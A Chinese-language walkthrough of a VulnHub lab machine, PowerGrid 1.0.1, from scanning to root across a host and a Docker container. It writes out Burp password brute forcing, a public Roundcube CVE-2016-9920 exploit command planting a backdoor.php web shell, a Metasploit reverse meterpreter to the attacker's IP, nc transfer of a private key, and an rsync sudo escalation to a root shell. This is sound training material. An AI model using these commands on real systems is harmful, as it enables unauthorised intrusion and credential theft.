VulnHub PowerGrid 1.0.1靶机渗透

​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载。

难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/powergrid/PowerGrid-1.0.1.ova天翼云盘:https://cloud.189.cn/t/2UN7Ffiuqyym百度网盘:https://pan.baidu.com/s/10l8dshcdaLxWL7eGN92U4Q 提取码:r4zc官网简介:靶机会进行计时,即使关闭虚拟机也不会停止,超时后将销毁证据渗透目标:获取root权限,找到4个flag本机地址:192.168.110.27靶机地址:192.168.110.36 

 

信息收集

话不多说,直接上nmap看靶机IP。

nmap 192.168.110.0/24 -sP

本机是192.168.110.27,那靶机就是192.168.110.36。接着扫一下端口。

nmap -A -p- 192.168.110.36

没有打开22号端口可还行,第一次见到这么任性的靶机。没关系,80端口终归还是打开了的,看看网页。

网页端显示了一个计时器,文字说明提示这是一封勒索信,3个小时之内要交250亿欧元,这黑客可是真够黑的。不过,这个网页的最后透露了deez1、p48、all2这几个用户名,需要留意一下。

按照规矩,一般都会遍历一下网页的目录。

dirb http://192.168.110.36

什么也没有可还行,不过按照以前的经验(VulnHub CengBox2靶机渗透),有可能是默认字典不够大,使用dirbuster的字典再扫一次。

dirb http://192.168.110.36 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -w

发现images目录和zmail页面。

images目录就是两张背景图片,没什么用,而访问zmail页面则弹出一个登录对话框,使用几个常见密码和用户名登录失败,尝试使用burp爆破。

对登录界面抓包后发现用户名密码采用了Base64编码,使用burp自带的解码器解码。

其实就是在用户名和密码之间插入了一个冒号。接下来使用最经典的rockyou密码字典爆破,用户名则选择deez1、p48、all2。

经过漫长的等待,终于发现有一个响应包的长度跟其他的不一样。

成功获取登录密码,登录后发现又是一个登录界面。

使用同样的用户名密码登录尝试,登录成功(简直多此一举)。登录后发现root发送过来了一封右键。

邮件中写道还有另一台服务器,下面的加密信息就是SSH的私钥,是用p48的gpg私钥加密的,可以用来登录那台服务器但没必要。呵呵,没必要?我会听你的?你个糟老头子坏得很。不过暂时还没有办法解密消息,先把加密消息保存下来。

由于在网页端可以写邮件,因此猜测能通过附件上传PHP木马,经过尝试后并不奏效,只好去查找roundcube的漏洞。

msfconsole search roundcube

痛苦,在Metasploit里找不到相关漏洞。不过不用灰心,说不定在网上能找到。

经过查找后发现小于1.2.2版本的roundcube存在代码执行漏洞,编码为CVE-2016-9920,GitHub链接为://github.com/t0kx/exploit-CVE-2016-9920。

git clone https://github.com/t0kx/exploit-CVE-2016-9920.git

 

 

漏洞利用

这个exp是用python写的,不过作者给的示例都不能使用,因为靶机上有两个登录界面,而正常来说,网站只需要登录一次就够了。另外,需要更改exp的发件人与收件人。

./exploit.py --host p48:electrico@192.168.110.36 --user p48 --pwd electrico --path /zmail --www_path "/var/www/html/zmail/"

攻击成功,现在只需要访问//192.168.110.36/zmail/backdoor.php即可执行命令了。先看看/var/www/目录下都有些啥东西。

很好,发现了第一个flag文件,赶紧查看一下内容。

提示是pivote,并没有什么用。既然已经可以执行任意命令,那么就可以配合msf获取shell。

msfconsoleuse multi/script/web_deliveryset payload php/meterpreter_reverse_tcpset LHOST 192.168.110.27set target PHPrun

执行之后会显示一条以php开头的命令,复制到浏览器访问。

这时msf已经成功获取session了。

sessions -lsessions -i 1shell

很无奈,每次拿到的shell都很不好用,没有安全感。利用python将难用的shell改成bash。

whereis python

发现有python2.7和python3.7。

python3.7 -c 'import pty; pty.spawn("/bin/bash")'

成功获取了www-data的bash,接下来就要作点妖了,先看看家目录下都有哪些用户。

cd /homels

很好,有一个叫p48的用户,这个用户的网页端密码之前已经爆破出来了,尝试切换到p48。

完美,p48跟我一样,喜欢一个密码到处用,更惊喜的是p48家目录下有一个gpg私钥,这应该就是可以解密网页端加密消息的私钥了(翻译翻译,什么叫惊喜)。

不过奇怪的是,靶机上竟然没有gpg命令,必须拷贝到攻击主机上才能解密。

nc -lvvp 31337 < privkey.gpgnc 192.168.110.36 31337 > p48.gpg

接下来解密文件。

gpg --import p48.gpggpg --decrypt id_rsa.encoded > id_rsa

解密后还需要把id_rsa传回到靶机,同样使用的nc,这里就不赘述了。

现在问题来了,这个SSH私钥文件是要拿来连接谁的呢?邮件里root说的另一台服务器在哪呢?莫非这台靶机上还运行了虚拟机?查看一下IP看看有什么猫腻。

有一个叫docker0的网卡,这台靶机应该还运行着docker,所谓的另一台服务器应该就在容器里运行着。

扫一下172.17.0.0/24这个网段(网卡信息显示网段为172.17.0.0/16,不过172.17.0.0/24的范围更大,因此不会漏洞可能的IP),看看另一台靶机的端口是多少。由于靶机没有安装nmap,所以只能使用循环加ping的方法判断。

for i in {1..254} ; do ping -c 1 172.17.0.$i -W 1 &>/dev/null && echo 172.17.0.$i is alive || echo 192.168.110.$i is down ;done

还好IP比较靠前,一下子就扫出来了。接着使用SSH私钥登录。

chmod 600 id_rsassh -i id_rsa p48@172.17.0.2

登录后很容易就发现了第二个flag。

第二个flag提示p48的用户权限不高,很明显,这是提示要提权了。

 

 

 

权限提升

首先看看有什么命令是可以提权执行的。

sudo -l

rsync命令可以免密码以root用户权限运行,rsync命令可以理解成一个加强版的cp命令,既然可以使用root权限运行,那么就可以把/root/下的所有文件拷贝到/tmp目录下查看。

第三个flag已经出来了,这个flag提示pivoting backwards,难不成第四个flag在docker外?由于最开始扫描靶机端口时22号端口没有打开,这里又提示要往回找第四个flag,我们有理由怀疑靶机在docker0网卡上开放了SSH服务,往外连接试试。

实锤了,可以通过172.17.0.1连接到靶机。不过并不知道密码,p48用户家目录下的.ssh目录里也没有存放SSH私钥,这是一件很头疼的事。

经过查询,发现rsync命令不仅可以用来拷贝文件,还可以用来提权。

sudo -u root rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/nullwhoami

很好,已经成功提权到root,接下来查看/root/.ssh/目录下有没有SSH私钥。

cd /root/.sshlsssh -i id_rsa root@172.17.0.1

不出所料,成功登录到外面的靶机。接下来就是查找第四个flag了。

第四个flag就存放在/root/目录下,根据提示,这是最后一个flag了。

至此,对PowerGrid的渗透已经全部完成。

 

 

 

总结

这个靶机整体偏难,首先是网页端的爆破,一般的密码字典很难跑出来,而rockyou这个密码字典又很大,如果不耐心等待的话很难爆破出来。
其次是这台靶机多次用到了公私钥,如果对非对称加密和gpg工具不熟悉的话,可能就会无法进入下一关。

这台靶机还运行着docker,就相当于有两台靶机,这是PowerGrid比较新颖的地方。另外,3个小时的时间限制也为渗透增加了几分紧张刺激的气氛。

整体来说,这台靶机在形式上有一定的创新性,很值得下载下来亲自复现一下。